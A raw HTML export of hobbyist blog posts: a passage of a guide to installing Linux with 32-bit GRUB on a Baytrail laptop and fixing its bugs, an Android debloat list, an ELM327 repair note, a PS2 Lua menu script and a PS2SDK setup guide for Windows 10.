href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdvoVBcq-u2KSbAF-Da2OWFRsd-4w3nCnbAJh-l6r0rGJzTjfb6Yo7PIy9EhZFrCvtagj8vnWTIIS4jTrxPvjMGq8rBAYKGZiQXbsVwi8amswAx-bP1SL1k6BrlZlQRjFC3dtHmg2ktf8/s1600/failed.jpg" imageanchor="1" style="background-color: transparent; font-family: arial, helvetica, sans-serif; font-weight: inherit; margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="161" data-original-width="768" height="67" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdvoVBcq-u2KSbAF-Da2OWFRsd-4w3nCnbAJh-l6r0rGJzTjfb6Yo7PIy9EhZFrCvtagj8vnWTIIS4jTrxPvjMGq8rBAYKGZiQXbsVwi8amswAx-bP1SL1k6BrlZlQRjFC3dtHmg2ktf8/s320/failed.jpg" width="320" /></a><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;"><b>7) </b>Press okay , the installation will exit , find and open your terminal from the desktop environment. </span><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;">Type: blkid and right down your partition name of ext4. <br /><b>8) </b>After that restart your system.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;"><b>9) </b>Boot again from live usb , on the first option instead of pressing enter press the "C" of your keyboard to launch the grub command.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;"><b>10) </b>From there we need to jumpstart and point to our installation partition.</span></span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: xx-small;"><br /></span><pre style="background-color: #eff0f1; border: 0px; box-sizing: inherit; color: #111111; font-size: 13px; font-stretch: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;">set root=(hd?,?) HINT: The TAB KEY IS YOUR FRIEND FOR AUTOCOMPLETION<span style="background-color: transparent;"> </span></pre>
<br /><span style="font-family: "arial" , "helvetica" , sans-serif;"> Now we need to find the vmlinuz.efi file. Try with the tab to see where your file is ill
give you the common locations below to search for it. (Could also be vmlinuz.efi instead of vmlinuz)
</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><pre style="background-color: #eff0f1; border: 0px; box-sizing: inherit; color: #111111; font-size: 13px; font-stretch: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;">linux /casper/vmlinuz root=/dev/YOURPARTITIONNAME </pre>
<b style="font-family: arial, helvetica, sans-serif;">or
</b><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><pre style="background-color: #eff0f1; border: 0px; box-sizing: inherit; color: #111111; font-size: 13px; font-stretch: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;">linux /boot/vmlinuz root=/dev/YOURPARTITIONNAME </pre>
<b style="font-family: arial, helvetica, sans-serif;">or
</b><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><pre style="background-color: #eff0f1; border: 0px; box-sizing: inherit; color: #111111; font-size: 13px; font-stretch: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;">linux /vmlinuz root=/dev/YOURPARTITIONNAME </pre>
<br /><u style="font-family: arial, helvetica, sans-serif;">
Now lets locate initrd:</u><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><pre style="background-color: #eff0f1; border: 0px; box-sizing: inherit; color: #111111; font-size: 13px; font-stretch: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;">initrd /casper/initrd.lz </pre>
<b style="font-family: arial, helvetica, sans-serif;">or
</b><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><pre style="background-color: #eff0f1; border: 0px; box-sizing: inherit; color: #111111; font-size: 13px; font-stretch: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;">initrd /boot/initrd.lz</pre>
<br /><span style="font-family: "arial" , "helvetica" , sans-serif;">And after that type "boot"</span><pre style="background-color: #eff0f1; border: 0px; box-sizing: inherit; color: #111111; font-size: 13px; font-stretch: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;">boot</pre>
<br /><span style="font-family: "arial" , "helvetica" , sans-serif;">So on your screen you should have these 4 instructions</span></span><pre style="background-color: #eff0f1; border: 0px; box-sizing: inherit; color: #111111; font-size: 13px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="border: 0px; box-sizing: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;"><span style="font-family: "arial" , "helvetica" , sans-serif;">set root=(hd1,2)
linux /casper/vmlinuz root=/dev/mmcblk1p2
initrd /casper/initrd.lz
boot<b style="text-decoration-line: underline;">
</b></span></code></pre>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br />Your linux distro will boot-up and now we need to configure our 32bit grub loader and we are done.<br /><br /><b style="background-color: white; color: #333333;">11)</b>Open up your terminal and type the following:</span><pre style="background-color: #eff0f1; border: 0px; box-sizing: inherit; color: #111111; font-size: 13px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="border: 0px; box-sizing: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;"><span style="font-family: "arial" , "helvetica" , sans-serif;">sudo apt-get update
sudo apt-get install grub-efi-ia32
sudo update-grub2</span></code></pre>
</li>
</ul>
<b style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif;">12)</b><span style="font-family: "arial" , "helvetica" , sans-serif;">Thats all folks.The OS is now ready , time to sort-out some issues/bugs.<br /><br /><b>Sudden Freezing bug:</b>This is a power management bug on baytrail cpus , there has been a patch which i havent really tried out yet (Google c6off+c7on.sh)<br /><br />Instead of the patch ive used the following:</span><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><br />
We will need to pass the parameter "<b>intel_idle_max=1</b>" to <b>grub</b> , for that go to <b>/etc/default</b> and edit the file called <b>grub</b>. Find the parameter <b>GRUB_CMDLINE_LINUX_DEFAULT</b> and paste inside the quotes with 1 space at the end of the current value the next parameter which is "i<b>ntel_idle_max=1</b>" e.g: <b>GRUB_CMDLINE_LINUX_DEFAULT="quiet splash intel_idle_max=1"</b> Save your file and then on terminal update the grub "<b>sudo update-grub</b>"<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /><br /><b>Disable HDMI sound (Known to cause issues):</b></span><br />
<pre style="background-color: #eff0f1; border: 0px; box-sizing: inherit; color: #111111; font-size: 13px; font-stretch: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;">Go to <b>/etc/modprobe.d/</b> create a conf called "<b>blacklist_snd_hdmi_lpe_audio.conf</b>"
<span style="color: black; font-family: "arial" , "helvetica" , sans-serif; font-size: small; white-space: normal;">and inside it paste the following line without quotes "<b>blacklist snd_hdmi_lpe_audio</b>"</span></pre>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /><b>Drivers for Audio Built-In Speakers & Mic:</b><b><br /></b></span><br />
<pre style="background-color: #eff0f1; border: 0px; box-sizing: inherit; color: #111111; font-size: 13px; font-stretch: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;">Find your sound card version by opening terminal and typing aplay-l
<span style="color: black; font-family: "arial" , "helvetica" , sans-serif; font-size: small; white-space: normal;">Go to <b>https://github.com/plbossart/UCM</b> and download the appropriate drivers , copy the whole folder to </span><b style="color: black; font-family: arial, helvetica, sans-serif; font-size: medium; white-space: normal;">usr/share/alsa/ucm
Note: If your driver folder contains a file called asound.state copy it to<b> /var/lib/alsa</b></b></pre>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><b><br />Keyboard/Trackpad Session Freeze Bug:</b><b><br /></b></span><br />
This bug occured per session , and with some restarts or shutdowns everything worked until you shutdown your laptop again. The steps below completely fixed the issue for me and now the keyboard always work. Open terminal -> type <b>sudo apt-get install libinput*<br /><br />Power Management / Charging Issue / (Overheating):</b>sudo add-apt-repository ppa:linrunner/tlp<br />
sudo apt-get update<br />
sudo apt-get install tlp tlp-rdw<br />
<br />
If you have a thinkpad you will also need the following line:<br />
sudo apt-get install tp-smapi-dkms acpi-call-dkms<br /><br /><b>2 Network Icons showing up on taskbar:</b><br /><span style="background-color: white; color: #111111; font-family: Ubuntu, Arial, "libra sans", sans-serif; font-size: 15px;">From the main menu select </span><em style="background-color: white; border: 0px; box-sizing: inherit; color: #111111; font-family: Ubuntu, Arial, "libra sans", sans-serif; font-size: 15px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Preferences</em><span style="background-color: white; color: #111111; font-family: Ubuntu, Arial, "libra sans", sans-serif; font-size: 15px;"> > </span><em style="background-color: white; border: 0px; box-sizing: inherit; color: #111111; font-family: Ubuntu, Arial, "libra sans", sans-serif; font-size: 15px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Default applications for LXSession</em><span style="background-color: white; color: #111111; font-family: Ubuntu, Arial, "libra sans", sans-serif; font-size: 15px;">. In the window that then appears, click on the </span><em style="background-color: white; border: 0px; box-sizing: inherit; color: #111111; font-family: Ubuntu, Arial, "libra sans", sans-serif; font-size: 15px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Autostart</em><span style="background-color: white; color: #111111; font-family: Ubuntu, Arial, "libra sans", sans-serif; font-size: 15px;"> tab, then find the network uncheck it , log off , log in , and then recheck it.</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /><b>Some small tweaks for swap:</b></span><br />
Tweaks for 2gb<= ram laptops <br />
a. First check your current swappiness value. <br />
Type in the terminal: cat /proc/sys/vm/swappiness P<br />
ress Enter. The result will probably be 60. <br />
b. To change the swappiness into a more sensible setting, <br />
type in the terminal xed admin:///etc/sysctl.conf <br />
Press Enter. Note that you'll be asked twice for your password. <br />
Now a text file opens. <br />
Scroll to the bottom of that text file and add your swappiness parameter to override the default <br />
# Decrease swap usage to a more reasonable level vm.swappiness=10 <br />
c. Save and close the text file. Then reboot your computer. <br />
d. After the reboot, check the new swappiness setting: Launch a terminal window. <br />
Type: cat /proc/sys/vm/swappiness Press Enter. Now it should be 10.<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div style="text-align: justify;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"> HAPPY LINUX-ING</span></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxv9ILNfJbygCMlcqCJIfWEURBcezuLdbAdrAU1S-2n7sJMRK0PGMewXm2nG4-FJEh9N28PPPl97MqKKGGdrlvXaMFoQlhOBExNXMrHjS8GKE1rd29QmQo07LWfuzTb_lFKJp309qrdsM/s1600/ready.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="540" data-original-width="798" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxv9ILNfJbygCMlcqCJIfWEURBcezuLdbAdrAU1S-2n7sJMRK0PGMewXm2nG4-FJEh9N28PPPl97MqKKGGdrlvXaMFoQlhOBExNXMrHjS8GKE1rd29QmQo07LWfuzTb_lFKJp309qrdsM/s320/ready.jpg" width="320" /></a></span></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com7tag:blogger.com,1999:blog-8206292603302104841.post-76795807003343268382018-07-07T08:58:00.000+03:002018-07-07T08:58:13.251+03:00[Tutorial] Debloat - Safe android services to disable or remove.<br />
<h2 style="text-align: center;">
Once again a self explanatory title so ill get directly the point.<br />Here's my safe to remove list , all self-tested.</h2>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-PFQxrkyfMGuNeSDpYNJH_Esq6679pLyveN3C6IKICca9Ns6nOdDQwyn8z0-Jlepd_KEfB-ZhYc8wWzP0WWq1MyILagH14grGvqi2_1FFiQ4l2fiiY5HAdMYRoYQ47TeSIRa6ptX-CZs/s1600/debloatlist.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="474" data-original-width="947" height="159" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-PFQxrkyfMGuNeSDpYNJH_Esq6679pLyveN3C6IKICca9Ns6nOdDQwyn8z0-Jlepd_KEfB-ZhYc8wWzP0WWq1MyILagH14grGvqi2_1FFiQ4l2fiiY5HAdMYRoYQ47TeSIRa6ptX-CZs/s320/debloatlist.jpg" width="320" /></a></div>
<div style="text-align: left;">
<b>Instructions:</b><br />To disable the following packages you can do it directly from your phone or download and install the <i>Debloater by Gatesjunior</i> with the <i>adb drivers</i> of course.<br /><br /><br /></div>
<br /><div style="text-align: left;">
<b>Samsung Galaxy Alpha G850F on Rooted Stock 5.0.1 Lollipop:</b></div>
</div>
<ol>
<li>AccuweatherPhone2014_S_LMR_HD.apk (com.sec.android.widgetapp.ap.hero.accuweather)</li>
<li>Books.apk (com.google.android.apps.books)</li>
<li>Drive.apk (com.google.android.apps.docs)</li>
<li>Dropbox.apk (com.dropbox.android)</li>
<li>Flipboard.apk (flipboard.app)</li>
<li>GalaxyApps_3xh.apk (com.sec.android.app.samsungapps)</li>
<li>Hangouts.apk (com.google.android.talk)</li>
<li>Magicshot_HD_A5.apk (com.arcsoft.magicshotstudio)</li>
<li>Music2.apk (com.google.android.music)</li>
<li>Newsstand.apk (com.google.android.apps.magazines)</li>
<li>PhotoStudio_HD_K.apk (com.sec.android.mimage.photoretouching)</li>
<li>PlusOne.apk (com.google.android.apps.plus)</li>
<li>SStudio_HD_K.apk (com.sec.android.mimage.sstudio)</li>
<li>Talkback.apk (com.google.android.marvin.talkback)</li>
<li>Velvet.apk (com.google.android.googlequicksearchbox)</li>
<li>VideoEditor_Lite_S.apk (com.sec.android.app.storycam)</li>
<li>Videos.apk (com.google.android.videos)</li>
<li>WeatherDaemon2014_LMR.apk (com.sec.android.daemonapp)</li>
<li>Youtube.apk (com.google.android.youtube)</li>
</ol>
LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-63194792484125223982018-04-02T13:59:00.000+03:002018-04-02T14:00:43.451+03:00ELM327<div style="text-align: justify;">
<b>This is a repost from a forum ive found online , if your ELM327 stopped working here's a quick fix if the legs of your tool are shorting.</b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8RaEWLgLmIDAZU_HWo1H-jwEHn7rGGpBBYVImSGOtP2TaHah0xd1_QMS0nUHXs2HU710C7s57kZey1QYPEc2XIdVepalDE4FHN7NtsV7Z3rfzVhXujMR1RG6-jDuglyY0qLGOSd-g9_U/s1600/dbbb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="600" data-original-width="800" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8RaEWLgLmIDAZU_HWo1H-jwEHn7rGGpBBYVImSGOtP2TaHah0xd1_QMS0nUHXs2HU710C7s57kZey1QYPEc2XIdVepalDE4FHN7NtsV7Z3rfzVhXujMR1RG6-jDuglyY0qLGOSd-g9_U/s400/dbbb.png" width="400" /></a></div>
<div style="text-align: justify;">
</div>
LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-7914575446091282192018-02-01T12:45:00.001+02:002018-02-01T12:53:38.255+02:00[Tutorial]PS2LuaPlayer Simple XMB MenuWell-well since i got my hands on my old ps2 console and all of the required accessories ill try to contribute as much as i can.<br />
<br />
From a small search i was doing on the forums i saw that a ps2 xmb styled menu got a lot of you excited , hence im creating this small tutorial on how to create a really simple menu in Lua.<br />Im using PS2 Lua Player v0.20(R3)<br /><br /><b>Heres how your program will look:</b><br />
<div class="separator" style="clear: both; text-align: center;">
<iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/1pctJVstQo0/0.jpg" src="https://www.youtube.com/embed/1pctJVstQo0?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div>
<br />main.lua<br /><b>Coding:</b><br />
<div>
<br />
<br />
<blockquote class="tr_bq">
<blockquote class="tr_bq">
<blockquote>
<span style="font-size: xx-small;">-- images used for navigation/menuicons<br />pic1=Image.load("Theme/1.png")<br />pic2=Image.load("Theme/2.png")<br />pic3=Image.load("Theme/3.png")<br />pic4=Image.load("Theme/4.png")<br />pic5=Image.load("Theme/5.png")<br />pic6=Image.load("Theme/6.png")<br />pic7=Image.load("Theme/7.png")<br />pic8=Image.load("Theme/8.png")<br />--menu<br />selected=1<br />maxselected=8<br />while true do<br />pad=Controls.read()<br />--How Controls react on left/right<br />if pad:right() and oldpad:right() ~= pad:right() then<br />selected = selected+1<br />end<br />if pad:left() and oldpad:left() ~= pad:left() then<br />selected = selected-1<br />end<br />if selected > maxselected then<br />selected=1<br />elseif selected <=0 then<br />selected=maxselected<br />end<br />if selected==1 then<br />screen:clear()<br />screen:blit(0,0,pic1)<br />end<br />if selected==2 then<br />screen:clear()<br />screen:blit(0,0,pic2)<br />end<br />if selected==3 then<br />screen:clear()<br />screen:blit(0,0,pic3)<br />end<br />if selected==4 then<br />screen:clear()<br />screen:blit(0,0,pic4)<br />end<br />if selected==5 then<br />screen:clear()<br />screen:blit(0,0,pic5)<br />end<br />if selected==6 then<br />screen:clear()<br />screen:blit(0,0,pic6)<br />end<br />if selected==7 then<br />screen:clear()<br />screen:blit(0,0,pic7)<br />end<br />if selected==8 then<br />screen:clear()<br />screen:blit(0,0,pic8)<br />end<br />--Actions for each icon selection<br />if pad:cross() and oldpad:cross() ~= pad:cross() and selected==1 then<br />dofile("Enter Here your next lua file")<br />end<br />if pad:cross() and oldpad:cross() ~= pad:cross() and selected==2 then<br />dofile("Enter Here your next lua file")<br />end<br />if pad:cross() and oldpad:cross() ~= pad:cross() and selected==3 then<br />dofile("Enter Here your next lua file")<br />end<br />if pad:cross() and oldpad:cross() ~= pad:cross() and selected==4 then<br />dofile("Enter Here your next lua file")<br />end<br />if pad:cross() and oldpad:cross() ~= pad:cross() and selected==5 then<br />dofile("Enter Here your next lua file")<br />end<br />if pad:cross() and oldpad:cross() ~= pad:cross() and selected==6 then<br />dofile("Enter Here your next lua file")<br />end<br />if pad:cross() and oldpad:cross() ~= pad:cross() and selected==7 then<br />dofile("Enter Here your next lua file")<br />end<br />if pad:cross() and oldpad:cross() ~= pad:cross() and selected==8 then<br />dofile("Enter Here your next lua file")<br />end<br />screen.flip()<br />screen.waitVblankStart()<br />oldpad = pad<br />end</span></blockquote>
</blockquote>
</blockquote>
Happy coding. </div>
LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-83856311002317679742018-01-25T23:25:00.003+02:002018-01-26T08:16:44.751+02:00[Tutorial] PS2SDK on Windows10<h2 class="tr_bq">
How to get the ps2sdk to work on your windows10 system</h2>
<h3>
<br /> What you will need: </h3>
<br />
<ul>
<li>MinGW (<a href="http://lukasz.dk/files/MinGW-5.1.3.exe">http://lukasz.dk/files/MinGW-5.1.3.exe</a>)</li>
<li>msys (<a href="http://lukasz.dk/files/MSYS-1.0.10.exe">http://lukasz.dk/files/MSYS-1.0.10.exe</a>)</li>
<li>mingw-lackages-ps2dev-1.0 (<a href="http://lukasz.dk/files/mingw-packages-ps2dev-1.0.zip">http://lukasz.dk/files/mingw-packages-ps2dev-1.0.zip</a>)</li>
<li>ps2dev folder / if you dont know where to find it download gshi_ps2sdk and copy the ps2dev folder which is located on \gshi_ps2sdk\msys\1.0\local (<a href="http://gamehacking.org/downloads/gshi_ps2sdk.7z">http://gamehacking.org/downloads/gshi_ps2sdk.7z</a>)</li>
</ul>
<b>Step 1: (Prepare MinGW)</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPgv_2yKHXBVymbwmrzTaOQypEosdvZqoWnt3jOcv8Fnl7g7F8nCNf3WH6L5Usroa423DGg6MzJ31taFBIX4eqTm1H7K0SLotUIuImbluBZ0Sry_2HQfI_BghjqNl4iBssqGtf4lJbHfI/s1600/minggw.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="391" data-original-width="509" height="245" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPgv_2yKHXBVymbwmrzTaOQypEosdvZqoWnt3jOcv8Fnl7g7F8nCNf3WH6L5Usroa423DGg6MzJ31taFBIX4eqTm1H7K0SLotUIuImbluBZ0Sry_2HQfI_BghjqNl4iBssqGtf4lJbHfI/s320/minggw.png" width="320" /></a></div>
Install MinGW in C<br />
<br />
<br />
<br />
Extract the mingw-lackages-ps2dev-1.0 and paste them inside MinGW directory C:/MinGW<br />
If it asks to replace any files select NO.<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnn2c39NpX-fTSbis3vqh_s0guh0nx95kXxfx2WzA8jKxjybi5zWDFXzfxaREHEHuNXcHlj3FTMU1-5CwcH5WA2qjLZRSRBtM5YPPjsCdVYghYBUeOcKXQ0e6iBhTUWXfbwNRBgaw2kqY/s1600/step1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="493" data-original-width="1465" height="107" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnn2c39NpX-fTSbis3vqh_s0guh0nx95kXxfx2WzA8jKxjybi5zWDFXzfxaREHEHuNXcHlj3FTMU1-5CwcH5WA2qjLZRSRBtM5YPPjsCdVYghYBUeOcKXQ0e6iBhTUWXfbwNRBgaw2kqY/s320/step1.png" width="320" /></a><br />
<br />
<br />
<b>Step 2: (Prepare msys)</b><br />
Install msys in C<br />
Go to <b>msys/1.0/etc/profile</b> , edit it and add the following:<br />
<blockquote>
export PS2DEV=/usr/local/ps2dev<br />
export PATH=$PATH:$PS2DEV/bin<br />
export PATH=$PATH:$PS2DEV/ee/bin<br />
export PATH=$PATH:$PS2DEV/iop/bin<br />
export PATH=$PATH:$PS2DEV/dvp/bin<br />
export PS2SDK=$PS2DEV/ps2sdk<br />
export PATH=$PATH:$PS2SDK/bin<br />
export PS2SDKSRC=$PS2DEV/ps2sdksrc<br />
export PS2LIB=$PS2DEV/ps2lib<br />
export PS2ETH=$PS2DEV/ps2eth<br />
export GSKITSRC=$PS2DEV/gsKit<br />
export C_INCLUDE_PATH=$PS2DEV/ee/ee/include<br />
cd "/C/msys/1.0/"</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ6QAyNok5BrQZVV1KDB-nctw5vbhI2vmhDhuhEJExmpRZQSY9BH2k4Lpv_kK-T4KbWdCjsXHPbje_zZh3TZqWxa7VN3KTLY4TOM4ketGfUe4gu01CzGLYmURmhq5UrnvL72ZdPII9UWY/s1600/step2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="348" data-original-width="454" height="245" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ6QAyNok5BrQZVV1KDB-nctw5vbhI2vmhDhuhEJExmpRZQSY9BH2k4Lpv_kK-T4KbWdCjsXHPbje_zZh3TZqWxa7VN3KTLY4TOM4ketGfUe4gu01CzGLYmURmhq5UrnvL72ZdPII9UWY/s320/step2.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Then navigate to <b>msys/1.0/bin</b> rename the<u> rxvt.exe</u> to something else (rxvtbak.exe)<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaHFW2Xn6OgiQLg3Ssgp4fcWAssKVkRKEmaWRkywg6_cB1zhl2fcjAwOKka5eznp8hBg9FmXcgmLCOAvJ2sCHK7IV0vfGfpbPWur2YJSTvIRqNc7saVevn-4MGz6MeB48a5w5xEwlU5rs/s1600/step3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="302" data-original-width="639" height="151" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaHFW2Xn6OgiQLg3Ssgp4fcWAssKVkRKEmaWRkywg6_cB1zhl2fcjAwOKka5eznp8hBg9FmXcgmLCOAvJ2sCHK7IV0vfGfpbPWur2YJSTvIRqNc7saVevn-4MGz6MeB48a5w5xEwlU5rs/s320/step3.png" width="320" /></a><br />
<br />
Navigate to <b>msys/1.0/local</b> , extract and copy the ps2dev folder and its contents<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivtySfoIKUpCNVbeFBcbprjoGlBcYx7pxl2xL6rrWQY2mrMpHYMUgFU2l6G_9Tqta9k_sntceUIJDnIPxMju5DJEL8dp5cGuPDiu2H4_s8R7ewrh4ZBKpxp-vABNrQ6CSgKU1ep3y1Sww/s1600/step4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="816" data-original-width="1600" height="163" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivtySfoIKUpCNVbeFBcbprjoGlBcYx7pxl2xL6rrWQY2mrMpHYMUgFU2l6G_9Tqta9k_sntceUIJDnIPxMju5DJEL8dp5cGuPDiu2H4_s8R7ewrh4ZBKpxp-vABNrQ6CSgKU1ep3y1Sww/s320/step4.png" width="320" /></a><br />
<br />
<b>Step 3: (Policy Editor)</b> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4TvR6DSVaZv3VwuqcpknM6-FGcbgKG_iBiaAxGVRW1N6JRyCSETT3PzPPONXaFQ7cFkxJD512kNhqKeZ_3B4yZHAU91rGT23knqetS00_B-1Sy7cSAZo_ayQ8HbtWtOeCDK8nax-apP0/s1600/step5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="537" data-original-width="1051" height="163" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4TvR6DSVaZv3VwuqcpknM6-FGcbgKG_iBiaAxGVRW1N6JRyCSETT3PzPPONXaFQ7cFkxJD512kNhqKeZ_3B4yZHAU91rGT23knqetS00_B-1Sy7cSAZo_ayQ8HbtWtOeCDK8nax-apP0/s320/step5.png" width="320" /></a><br />
<b><br />Step 4: (Environment Path)<br /></b> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhevjbYYbk53LxFWqx4oPDn6RVbt5-NUj4QlriQH_YMxbnTwYB32YYdwXYZgEKXFrwqMAjE4i_1jqRHVdroOgg9xoPd-borcuIv3KuOfyaRTDyksZMZwz2ALWvX7QMwe_eKl3VBW-LkI0/s1600/envpath.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="498" data-original-width="520" height="306" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhevjbYYbk53LxFWqx4oPDn6RVbt5-NUj4QlriQH_YMxbnTwYB32YYdwXYZgEKXFrwqMAjE4i_1jqRHVdroOgg9xoPd-borcuIv3KuOfyaRTDyksZMZwz2ALWvX7QMwe_eKl3VBW-LkI0/s320/envpath.png" width="320" /></a><br />
<b><br />Step 5: (Install GIT)</b><br />
Open your msis , and type git to check if it works<br />
if you type now git , svn or wget if the installation was made succesfully will show you as a result the correct syntax to use the command. If not try restarting your system.<br /><br /><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
